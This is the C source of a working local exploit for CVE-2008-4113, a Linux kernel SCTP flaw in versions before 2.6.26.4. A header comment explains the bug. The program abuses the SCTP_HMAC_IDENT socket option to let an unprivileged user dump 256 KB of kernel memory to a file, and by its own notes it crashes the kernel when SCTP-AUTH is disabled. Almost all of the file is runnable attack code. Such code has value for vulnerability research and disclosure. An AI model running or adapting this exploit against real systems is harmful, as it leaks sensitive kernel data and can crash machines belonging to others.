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/*
* cve-2008-4113.c
*
* Linux Kernel < 2.6.26.4 SCTP kernel memory disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113
*
* The sctp_getsockopt_hmac_ident function in net/sctp/socket.c in the Stream
* Control Transmission Protocol (sctp) implementation in the Linux kernel
* before 2.6.26.4, when the SCTP-AUTH extension is enabled, relies on an
* untrusted length value to limit copying of data from kernel memory, which
* allows local users to obtain sensitive information via a crafted
* SCTP_HMAC_IDENT IOCTL request involving the sctp_getsockopt function.
*
* Notes:
*
* If SCTP AUTH is enabled (net.sctp.auth_enable = 1), this exploit allow an
* unprivileged user to dump an arbitrary amount (DUMP_SIZE) of kernel memory
* out to a file (DUMP_FILE). If SCTP AUTH is not enabled, the exploit will
* trigger a kernel OOPS.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#ifndef SCTP_HMAC_IDENT
#define SCTP_HMAC_IDENT 22
#endif
#define DUMP_SIZE 256*1024
#define DUMP_FILE "mem.dump"
int
main(int argc, char **argv)
{
int ret, sock;
FILE *dumpfile;
char *memdump, *err;
socklen_t memlen = DUMP_SIZE;
memdump = malloc(DUMP_SIZE);
if (!memdump) {
err = "malloc(3) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
memset(memdump, 0, DUMP_SIZE);
printf("[+] creating IPPROTO_SCTP socket\n");
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock == -1) {
err = "socket(2) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
printf("[+] getting socket option SCTP_HMAC_IDENT with length of %d\n", memlen);
ret = getsockopt(sock, SOL_SCTP, SCTP_HMAC_IDENT, memdump, &memlen);
if (ret == -1) {
err = "getsockopt(2) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
printf("[+] dumping %d bytes of kernel memory to %s\n", memlen, DUMP_FILE);
dumpfile = fopen(DUMP_FILE, "wb");
if (!dumpfile) {
err = "fopen(3) failed";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
return 1;
}
fwrite(memdump, 1, memlen, dumpfile);
fclose(dumpfile);
printf("[+] done.\n");
return 0;
}
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